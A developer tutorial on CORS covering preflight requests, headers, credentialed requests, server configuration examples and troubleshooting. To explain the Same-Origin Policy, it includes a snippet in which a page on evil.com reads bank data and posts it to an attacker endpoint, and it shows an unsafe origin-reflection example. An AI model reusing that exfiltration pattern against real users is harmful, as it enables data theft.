HTTP

Guide

Cross-Origin Resource Sharing (CORS)

Master Cross-Origin Resource Sharing (CORS) for secure cross-origin HTTP requests. Learn preflight requests, headers, credentials, and common error solutions.

16 min read intermediate Try in Playground

TL;DR: CORS allows servers to specify which origins can access their resources via browser requests. Configure Access-Control-Allow-Origin and related headers to enable secure cross-domain communication.

Cross-Origin Resource Sharing (CORS) is a security mechanism that allows web browsers to make HTTP requests from one domain to another, while protecting users from malicious cross-origin attacks. Understanding CORS is essential for building modern web applications that interact with APIs and third-party services.

Introduction

By default, web browsers enforce the Same-Origin Policy (SOP), which prevents JavaScript running on one domain from accessing resources on another domain. While this protects users from malicious scripts, it also blocks legitimate cross-origin requests that modern web applications depend on.

CORS provides a controlled way to relax the Same-Origin Policy. It uses HTTP headers to tell browsers which cross-origin requests should be allowed, enabling web applications to safely access resources from different domains.

What is an origin?

An origin is defined by the combination of three components:

  • Protocol (scheme): http vs https
  • Domain (host): example.com vs api.example.com
  • Port: 80, 443, 3000, etc.

Same-origin examples:

https://example.com/page1
https://example.com/page2
✓ Same origin (identical protocol, domain, port)

Cross-origin examples:

https://example.com         → http://example.com         (different protocol)
https://example.com         → https://api.example.com    (different domain)
https://example.com         → https://example.com:8080   (different port)

Why CORS Exists

Without CORS, a malicious website could execute JavaScript that reads data from your bank account, email, or other sensitive services where you’re authenticated. The Same-Origin Policy prevents this by blocking cross-origin requests by default.

Without SOP/CORS (dangerous):

// On evil.com, this would succeed and steal your data
fetch('https://yourbank.com/account')
  .then((res) => res.json())
  .then((data) => {
    // Send your banking data to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    })
  })
```text

**With SOP/CORS (protected):**
The browser blocks the request to `yourbank.com` unless it explicitly allows `evil.com` via CORS headers. This protects your data from unauthorized access.

## How CORS Works

CORS is implemented through HTTP headers exchanged between the browser and server. The server uses response headers to tell the browser which origins, methods, and headers are allowed for cross-origin requests.

### The CORS Header Flow

1. Browser detects a cross-origin request
2. Browser adds an `Origin` header to the request
3. Server checks the origin and responds with CORS headers
4. Browser reads CORS headers and decides whether to allow access

**Basic CORS Exchange:**

```http
# Request from browser
GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com

# Response from server
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json

{"users": [...]}

Simple Requests vs Preflight Requests

CORS categorizes requests into two types: simple requests and preflight requests. Understanding the difference is crucial for debugging and optimization.

Simple Requests

A request is considered “simple” if it meets all these conditions:

Allowed methods:

  • GET
  • HEAD
  • POST

Allowed headers (only these, with some exceptions):

  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type (with limited values)

Allowed Content-Type values:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Example simple request:

// No preflight - goes directly to server
fetch('https://api.example.com/data', {
  method: 'GET',
  headers: {
    Accept: 'application/json'
  }
})
```text

```http
# Request
GET /data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Accept: application/json

# Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json

{"data": "..."}

Preflight Requests

If a request doesn’t meet the simple request criteria, the browser sends a preflight request first using the OPTIONS method to check if the actual request is safe to send.

Triggers for preflight:

  • Using methods like PUT, DELETE, PATCH
  • Custom headers (e.g., Authorization, X-Custom-Header)
  • Content-Type of application/json

Example preflight request:

// Triggers preflight due to Authorization header and JSON content type
fetch('https://api.example.com/users', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    Authorization: 'Bearer token123'
  },
  body: JSON.stringify({ name: 'Alice' })
})
```http

**Preflight OPTIONS request:**

```http
OPTIONS /users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type, authorization

Preflight response:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
```http

**Actual request (only sent if preflight succeeds):**

```http
POST /users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
Authorization: Bearer token123

{"name": "Alice"}

Actual response:

HTTP/1.1 201 Created
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json

{"id": 123, "name": "Alice"}
```text

## Essential CORS Headers

### Access-Control-Allow-Origin

Specifies which origins can access the resource. This is the most critical CORS header.

**Specific origin:**

```http
Access-Control-Allow-Origin: https://app.example.com

Wildcard (allows any origin):

Access-Control-Allow-Origin: *
```javascript

**Important notes:**

- Cannot use wildcard (`*`) with credentialed requests
- Can only specify one origin value (not comma-separated)
- Must be dynamically set from a whitelist for multiple origins

**Multiple origins pattern:**

```javascript
// Server-side logic to allow multiple origins
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com',
  'http://localhost:3000'
]

const origin = request.headers.origin
if (allowedOrigins.includes(origin)) {
  response.setHeader('Access-Control-Allow-Origin', origin)
}

Access-Control-Allow-Methods

Lists HTTP methods allowed for cross-origin requests.

Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
```text

**Common patterns:**

```http
# Read-only API
Access-Control-Allow-Methods: GET, HEAD, OPTIONS

# Full CRUD API
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS

# Specific operations only
Access-Control-Allow-Methods: GET, POST, OPTIONS

Access-Control-Allow-Headers

Lists headers that can be used in the actual request.

Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With
```text

**Common configurations:**

```http
# API with authentication
Access-Control-Allow-Headers: Content-Type, Authorization

# API with custom headers
Access-Control-Allow-Headers: Content-Type, Authorization, X-API-Key, X-Request-ID

# Permissive (not recommended for production)
Access-Control-Allow-Headers: *

Access-Control-Allow-Credentials

Indicates whether the browser should include credentials (cookies, HTTP authentication, client-side SSL certificates) in cross-origin requests.

Access-Control-Allow-Credentials: true
```text

**Client-side usage:**

```javascript
// Must set credentials: 'include' on the fetch request
fetch('https://api.example.com/profile', {
  credentials: 'include' // Send cookies with request
})

Server response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=None
```text

**Critical requirement:**
When `Access-Control-Allow-Credentials: true` is used, you CANNOT use wildcard for `Access-Control-Allow-Origin`. You must specify the exact origin.

```http
# Invalid combination
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

# Valid combination
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true

Access-Control-Max-Age

Indicates how long the results of a preflight request can be cached.

Access-Control-Max-Age: 86400
```http

**Common cache durations:**

```http
Access-Control-Max-Age: 600       # 10 minutes
Access-Control-Max-Age: 3600      # 1 hour
Access-Control-Max-Age: 86400     # 24 hours
Access-Control-Max-Age: 604800    # 7 days (maximum in some browsers)

Benefits:

  • Reduces preflight requests for repeated operations
  • Improves performance by avoiding unnecessary OPTIONS requests
  • Cached per origin, method, and headers combination

Access-Control-Expose-Headers

Lists response headers that the browser should make accessible to JavaScript.

By default, browsers only expose these “CORS-safe” response headers:

  • Cache-Control
  • Content-Language
  • Content-Type
  • Expires
  • Last-Modified
  • Pragma

Exposing custom headers:

Access-Control-Expose-Headers: X-RateLimit-Remaining, X-RateLimit-Limit, X-Request-ID
```javascript

**Client-side access:**

```javascript
fetch('https://api.example.com/data').then((response) => {
  console.log(response.headers.get('X-RateLimit-Remaining')) // Works with exposure
  console.log(response.headers.get('X-Custom-Header')) // null without exposure
})

Credentialed Requests

Credentialed requests include cookies, HTTP authentication, or client-side SSL certificates. These require special CORS configuration because they pose additional security risks.

Configuration Requirements

1. Client must explicitly request credentials:

fetch('https://api.example.com/profile', {
  credentials: 'include' // or 'same-origin'
})
```text

**2. Server must allow credentials:**

```http
Access-Control-Allow-Credentials: true

3. Server must specify exact origin (no wildcard):

Access-Control-Allow-Origin: https://app.example.com
```text

### Cookie Considerations

For cookies to be sent cross-origin, they must have appropriate attributes:

```http
Set-Cookie: session=abc123; Secure; SameSite=None

Cookie attributes explained:

  • Secure: Required for SameSite=None
  • SameSite=None: Allows cookie to be sent cross-site
  • HttpOnly: Prevents JavaScript access (recommended for security)

Complete credentialed request example:

// Client request
fetch('https://api.example.com/profile', {
  method: 'GET',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json'
  }
})
```http

```http
# Preflight request
OPTIONS /profile HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: GET
Access-Control-Request-Headers: content-type

# Preflight response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

# Actual request (includes cookies)
GET /profile HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Cookie: session=abc123
Content-Type: application/json

# Actual response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"user": {"id": 1, "name": "Alice"}}

Server Implementation Examples

Node.js (Express)

Basic CORS middleware:

const express = require('express')
const app = express()

// Simple CORS for all routes
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*')
  res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
  res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization')

  // Handle preflight
  if (req.method === 'OPTIONS') {
    return res.sendStatus(204)
  }

  next()
})

app.get('/api/users', (req, res) => {
  res.json({ users: [] })
})
```javascript

**Advanced CORS with whitelist:**

```javascript
const express = require('express')
const app = express()

const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com',
  'http://localhost:3000'
]

app.use((req, res, next) => {
  const origin = req.headers.origin

  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin)
  }

  res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, PATCH, OPTIONS')
  res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-Requested-With')
  res.header('Access-Control-Allow-Credentials', 'true')
  res.header('Access-Control-Max-Age', '86400')

  if (req.method === 'OPTIONS') {
    return res.sendStatus(204)
  }

  next()
})

Using the CORS package:

const express = require('express')
const cors = require('cors')
const app = express()

// Simple configuration
app.use(cors())

// Advanced configuration
app.use(
  cors({
    origin: ['https://app.example.com', 'https://admin.example.com'],
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    credentials: true,
    maxAge: 86400
  })
)

// Dynamic origin validation
app.use(
  cors({
    origin: (origin, callback) => {
      const allowedOrigins = ['https://app.example.com', 'http://localhost:3000']
      if (!origin || allowedOrigins.includes(origin)) {
        callback(null, true)
      } else {
        callback(new Error('Not allowed by CORS'))
      }
    },
    credentials: true
  })
)
```javascript

### Python (Flask)

**Basic CORS setup:**

```python
from flask import Flask, jsonify
from flask_cors import CORS

app = Flask(__name__)

# Simple CORS for all routes
CORS(app)

@app.route('/api/users')
def get_users():
    return jsonify({'users': []})

Advanced CORS configuration:

from flask import Flask, jsonify
from flask_cors import CORS

app = Flask(__name__)

# Specific origins with credentials
CORS(app,
     origins=['https://app.example.com', 'https://admin.example.com'],
     methods=['GET', 'POST', 'PUT', 'DELETE'],
     allow_headers=['Content-Type', 'Authorization'],
     supports_credentials=True,
     max_age=86400)

@app.route('/api/users')
def get_users():
    return jsonify({'users': []})
```javascript

**Route-specific CORS:**

```python
from flask import Flask, jsonify
from flask_cors import cross_origin

app = Flask(__name__)

@app.route('/api/public')
@cross_origin()  # Allow all origins
def public_endpoint():
    return jsonify({'message': 'public'})

@app.route('/api/private')
@cross_origin(
    origins=['https://app.example.com'],
    methods=['GET', 'POST'],
    allow_headers=['Authorization'],
    supports_credentials=True
)
def private_endpoint():
    return jsonify({'message': 'private'})

PHP

Basic CORS headers:

<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit();
}

// Your API logic here
echo json_encode(['users' => []]);
?>
```text

**Advanced CORS with whitelist:**

```php
<?php
$allowedOrigins = [
    'https://app.example.com',
    'https://admin.example.com',
    'http://localhost:3000'
];

$origin = $_SERVER['HTTP_ORIGIN'] ?? '';

if (in_array($origin, $allowedOrigins)) {
    header("Access-Control-Allow-Origin: $origin");
}

header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Max-Age: 86400');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit();
}

// Your API logic here
?>

Java (Spring Boot)

Global CORS configuration:

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class CorsConfig implements WebMvcConfigurer {

    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
                .allowedOrigins("https://app.example.com", "https://admin.example.com")
                .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
                .allowedHeaders("Content-Type", "Authorization")
                .allowCredentials(true)
                .maxAge(86400);
    }
}
```javascript

**Controller-level CORS:**

```java
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping("/api")
@CrossOrigin(
    origins = {"https://app.example.com"},
    methods = {RequestMethod.GET, RequestMethod.POST},
    allowedHeaders = {"Content-Type", "Authorization"},
    allowCredentials = "true",
    maxAge = 86400
)
public class UserController {

    @GetMapping("/users")
    public List<User> getUsers() {
        return userService.findAll();
    }
}

Go

Basic CORS middleware:

package main

import (
    "net/http"
)

func corsMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Access-Control-Allow-Origin", "*")
        w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
        w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")

        if r.Method == "OPTIONS" {
            w.WriteHeader(http.StatusNoContent)
            return
        }

        next.ServeHTTP(w, r)
    })
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/api/users", handleUsers)

    http.ListenAndServe(":8080", corsMiddleware(mux))
}
```javascript

**Advanced CORS with whitelist:**

```go
package main

import (
    "net/http"
)

var allowedOrigins = map[string]bool{
    "https://app.example.com":   true,
    "https://admin.example.com": true,
    "http://localhost:3000":     true,
}

func corsMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        origin := r.Header.Get("Origin")

        if allowedOrigins[origin] {
            w.Header().Set("Access-Control-Allow-Origin", origin)
            w.Header().Set("Access-Control-Allow-Credentials", "true")
        }

        w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
        w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
        w.Header().Set("Access-Control-Max-Age", "86400")

        if r.Method == "OPTIONS" {
            w.WriteHeader(http.StatusNoContent)
            return
        }

        next.ServeHTTP(w, r)
    })
}

Real-World Scenarios

Scenario 1: Public API

A weather API that should be accessible from any website.

Configuration:

// Allow all origins
res.header('Access-Control-Allow-Origin', '*')
res.header('Access-Control-Allow-Methods', 'GET, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type')
```javascript

**Client usage:**

```javascript
fetch('https://api.weather.com/current?city=London')
  .then((res) => res.json())
  .then((data) => console.log(data))

Scenario 2: Authenticated API

A REST API that requires authentication and only allows specific frontends.

Server configuration:

const allowedOrigins = ['https://app.example.com', 'https://admin.example.com']

app.use((req, res, next) => {
  const origin = req.headers.origin

  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin)
    res.header('Access-Control-Allow-Credentials', 'true')
  }

  res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
  res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization')
  res.header('Access-Control-Max-Age', '86400')

  if (req.method === 'OPTIONS') {
    return res.sendStatus(204)
  }

  next()
})
```text

**Client usage:**

```javascript
fetch('https://api.example.com/profile', {
  method: 'GET',
  credentials: 'include',
  headers: {
    Authorization: 'Bearer token123'
  }
})

Scenario 3: File Upload with Progress

Uploading files to a different domain with custom headers.

Server configuration:

res.header('Access-Control-Allow-Origin', 'https://app.example.com')
res.header('Access-Control-Allow-Methods', 'POST, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type, X-File-Name, X-File-Size')
res.header('Access-Control-Expose-Headers', 'X-Upload-ID')
```javascript

**Client usage:**

```javascript
const file = document.querySelector('input[type="file"]').files[0]

fetch('https://upload.example.com/files', {
  method: 'POST',
  headers: {
    'X-File-Name': file.name,
    'X-File-Size': file.size.toString()
  },
  body: file
}).then((response) => {
  const uploadId = response.headers.get('X-Upload-ID')
  console.log('Upload ID:', uploadId)
  return response.json()
})

Scenario 4: WebSocket Connection

Establishing a WebSocket connection across origins.

Server configuration:

const WebSocket = require('ws')
const wss = new WebSocket.Server({ port: 8080 })

wss.on('connection', (ws, req) => {
  const origin = req.headers.origin
  const allowedOrigins = ['https://app.example.com']

  if (!allowedOrigins.includes(origin)) {
    ws.close(1008, 'Origin not allowed')
    return
  }

  ws.on('message', (message) => {
    console.log('Received:', message)
  })
})
```javascript

**Client usage:**

```javascript
// WebSocket connections don't use CORS headers
// but servers can check the Origin header
const ws = new WebSocket('wss://ws.example.com')

ws.onopen = () => {
  console.log('Connected')
  ws.send('Hello')
}

Troubleshooting Common CORS Errors

Error 1: “No ‘Access-Control-Allow-Origin’ header is present”

Error message:

Access to fetch at 'https://api.example.com/users' from origin 'https://app.example.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on
the requested resource.

Causes:

  • Server doesn’t send CORS headers at all
  • Server only sends headers for successful responses (not errors)
  • Network error prevents response from reaching browser

Solutions:

// Server must send CORS headers for ALL responses, including errors
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*')
  next()
})

// Handle errors with CORS headers
app.use((err, req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*')
  res.status(500).json({ error: err.message })
})
```text

### Error 2: "The 'Access-Control-Allow-Origin' header contains multiple values"

**Error message:**

```text
The 'Access-Control-Allow-Origin' header contains multiple values
'https://app.example.com, https://app.example.com', but only one is allowed.
```text

**Cause:**
Setting the header multiple times (e.g., in middleware and route handler).

**Solution:**

```javascript
// Bad: Setting header in multiple places
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', 'https://app.example.com')
  next()
})

app.get('/users', (req, res) => {
  res.header('Access-Control-Allow-Origin', 'https://app.example.com') // Duplicate!
  res.json({ users: [] })
})

// Good: Set header only once
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', 'https://app.example.com')
  next()
})

app.get('/users', (req, res) => {
  res.json({ users: [] })
})

Error 3: “Wildcard ’*’ cannot be used with credentials”

Error message:

The value of the 'Access-Control-Allow-Origin' header in the response must not be
the wildcard '*' when the request's credentials mode is 'include'.

Cause: Using Access-Control-Allow-Origin: * with credentialed requests.

Solution:

// Bad: Wildcard with credentials
res.header('Access-Control-Allow-Origin', '*')
res.header('Access-Control-Allow-Credentials', 'true')

// Good: Specific origin with credentials
const origin = req.headers.origin
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com']

if (allowedOrigins.includes(origin)) {
  res.header('Access-Control-Allow-Origin', origin)
  res.header('Access-Control-Allow-Credentials', 'true')
}
```text

### Error 4: "Method not allowed by Access-Control-Allow-Methods"

**Error message:**

```text
Method DELETE is not allowed by Access-Control-Allow-Methods in preflight response.
```text

**Cause:**
Requested method not included in `Access-Control-Allow-Methods` header.

**Solution:**

```javascript
// Bad: Limited methods
res.header('Access-Control-Allow-Methods', 'GET, POST')

// Good: Include all needed methods
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, PATCH, OPTIONS')

Error 5: “Header not allowed by Access-Control-Allow-Headers”

Error message:

Request header field authorization is not allowed by Access-Control-Allow-Headers
in preflight response.

Cause: Custom header not included in Access-Control-Allow-Headers.

Solution:

// Bad: Missing required headers
res.header('Access-Control-Allow-Headers', 'Content-Type')

// Good: Include all custom headers
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-API-Key')

// Or allow all headers (less secure)
res.header('Access-Control-Allow-Headers', '*')
```text

### Error 6: "Redirect not allowed for preflight request"

**Error message:**

```text
Response to preflight request doesn't pass access control check: Redirect is not
allowed for a preflight request.
```text

**Cause:**
Server redirecting OPTIONS request instead of responding directly.

**Solution:**

```javascript
// Handle OPTIONS before any redirects
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*')
  res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
  res.header('Access-Control-Allow-Headers', 'Content-Type')

  if (req.method === 'OPTIONS') {
    return res.sendStatus(204) // Don't redirect, respond immediately
  }

  next()
})

// Other middleware (redirects, etc.)

Error 7: “Preflight response is not successful”

Error message:

Response for preflight has invalid HTTP status code 401

Cause: Authentication middleware running before CORS middleware for OPTIONS requests.

Solution:

// Bad: Auth before CORS
app.use(authMiddleware)
app.use(corsMiddleware)

// Good: CORS first, then skip auth for OPTIONS
app.use(corsMiddleware)

app.use((req, res, next) => {
  if (req.method === 'OPTIONS') {
    return next() // Skip auth for preflight
  }
  authMiddleware(req, res, next)
})
```text

## Debugging CORS Issues

### Browser Developer Tools

**Network tab:**

1. Open DevTools (F12)
2. Go to Network tab
3. Look for OPTIONS request (preflight)
4. Check response headers for CORS headers
5. Look for red errors in the Console tab

**Example debugging process:**

```text
1. Make request from https://app.example.com to https://api.example.com
2. Check if OPTIONS request appears (if preflight is triggered)
3. Verify OPTIONS response has status 204 or 200
4. Check for these headers in OPTIONS response:
   - Access-Control-Allow-Origin
   - Access-Control-Allow-Methods
   - Access-Control-Allow-Headers
5. Check actual request has Access-Control-Allow-Origin header
```text

### Testing with curl

**Simple request:**

```bash
curl -H "Origin: https://app.example.com" \
     -H "Accept: application/json" \
     -I https://api.example.com/users

Preflight request:

curl -X OPTIONS \
     -H "Origin: https://app.example.com" \
     -H "Access-Control-Request-Method: POST" \
     -H "Access-Control-Request-Headers: Content-Type, Authorization" \
     -I https://api.example.com/users
```text

**Expected preflight response:**

```http
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
```javascript

### Common Debugging Checklist

- [ ] Server sends CORS headers for ALL responses (including errors)
- [ ] `Access-Control-Allow-Origin` matches request origin exactly
- [ ] OPTIONS requests return 200 or 204 status
- [ ] All required methods in `Access-Control-Allow-Methods`
- [ ] All custom headers in `Access-Control-Allow-Headers`
- [ ] Credentials configuration matches on client and server
- [ ] No wildcard (`*`) with credentialed requests
- [ ] CORS headers not duplicated
- [ ] CORS middleware runs before authentication
- [ ] Preflight cache duration appropriate (`Access-Control-Max-Age`)

## Security Best Practices

### 1. Never Trust the Origin Header Blindly

```javascript
// Bad: Reflecting origin without validation
res.header('Access-Control-Allow-Origin', req.headers.origin)

// Good: Validate against whitelist
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com']
const origin = req.headers.origin

if (allowedOrigins.includes(origin)) {
  res.header('Access-Control-Allow-Origin', origin)
}

2. Use Specific Origins in Production

// Development: Permissive
if (process.env.NODE_ENV === 'development') {
  res.header('Access-Control-Allow-Origin', '*')
}

// Production: Strict
else {
  const origin = req.headers.origin
  const allowedOrigins = ['https://app.example.com']

  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin)
  }
}
```text

### 3. Limit Exposed Headers

```javascript
// Bad: Exposing sensitive headers
res.header('Access-Control-Expose-Headers', '*')

// Good: Only expose necessary headers
res.header('Access-Control-Expose-Headers', 'X-RateLimit-Remaining, X-Request-ID')

4. Set Appropriate Preflight Cache Duration

// Development: Short cache for faster iteration
res.header('Access-Control-Max-Age', '600') // 10 minutes

// Production: Longer cache for performance
res.header('Access-Control-Max-Age', '86400') // 24 hours
```javascript

### 5. Protect Sensitive Endpoints

```javascript
// Public endpoint: Allow all origins
app.get('/api/public', (req, res) => {
  res.header('Access-Control-Allow-Origin', '*')
  res.json({ data: 'public' })
})

// Private endpoint: Strict origin validation
app.get('/api/private', (req, res) => {
  const origin = req.headers.origin
  if (origin === 'https://app.example.com') {
    res.header('Access-Control-Allow-Origin', origin)
    res.header('Access-Control-Allow-Credentials', 'true')
    res.json({ data: 'private' })
  } else {
    res.status(403).json({ error: 'Forbidden' })
  }
})

6. Validate Credentials Configuration

// Ensure cookies have correct attributes for cross-origin
res.cookie('session', 'abc123', {
  secure: true, // HTTPS only
  httpOnly: true, // Prevent JavaScript access
  sameSite: 'none', // Allow cross-origin
  maxAge: 3600000 // 1 hour
})

res.header('Access-Control-Allow-Origin', 'https://app.example.com')
res.header('Access-Control-Allow-Credentials', 'true')
```text

## Performance Optimization

### Reduce Preflight Requests

**1. Use simple requests when possible:**

```javascript
// Triggers preflight
fetch('/api/users', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ name: 'Alice' })
})

// No preflight (simple request)
fetch('/api/users', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'name=Alice'
})

2. Maximize preflight cache:

// Cache preflight for 24 hours
res.header('Access-Control-Max-Age', '86400')
```text

**3. Avoid custom headers when possible:**

```javascript
// Triggers preflight due to Authorization header
fetch('/api/users', {
  headers: { Authorization: 'Bearer token' }
})

// Alternative: Use cookie authentication (no preflight for GET)
fetch('/api/users', {
  credentials: 'include'
})

Minimize Header Overhead

// Only include necessary headers
res.header('Access-Control-Allow-Origin', origin)
res.header('Access-Control-Allow-Credentials', 'true')

// Don't include headers for non-CORS responses
if (req.headers.origin) {
  res.header('Access-Control-Allow-Origin', origin)
}

Summary

CORS is a critical security mechanism that enables controlled cross-origin communication. Key takeaways:

  1. Same-Origin Policy protects users by blocking cross-origin requests by default
  2. CORS headers allow servers to selectively permit cross-origin access
  3. Preflight requests (OPTIONS) check permissions before sending actual requests
  4. Credentialed requests require explicit configuration and exact origin matching
  5. Security comes first - always validate origins and use specific values in production
  6. Debugging CORS issues requires understanding the browser console and network tab
  7. Performance can be optimized by caching preflights and minimizing custom headers

Understanding CORS is essential for modern web development. With proper configuration, you can build secure, performant applications that safely communicate across origins.

Frequently Asked Questions

What is CORS?

CORS (Cross-Origin Resource Sharing) is a security mechanism that allows servers to specify which origins can access their resources via browser requests.

Why do I get CORS errors?

CORS errors occur when a browser blocks cross-origin requests because the server did not include proper CORS headers. The server must explicitly allow your origin.

What is a preflight request?

Preflight is an OPTIONS request browsers send before certain cross-origin requests to check if the actual request is allowed. It checks methods, headers, and credentials.

How do I fix CORS errors?

Configure your server to send Access-Control-Allow-Origin with your origin or *. For credentials, use specific origin. For custom headers, add Access-Control-Allow-Headers.

Keep Learning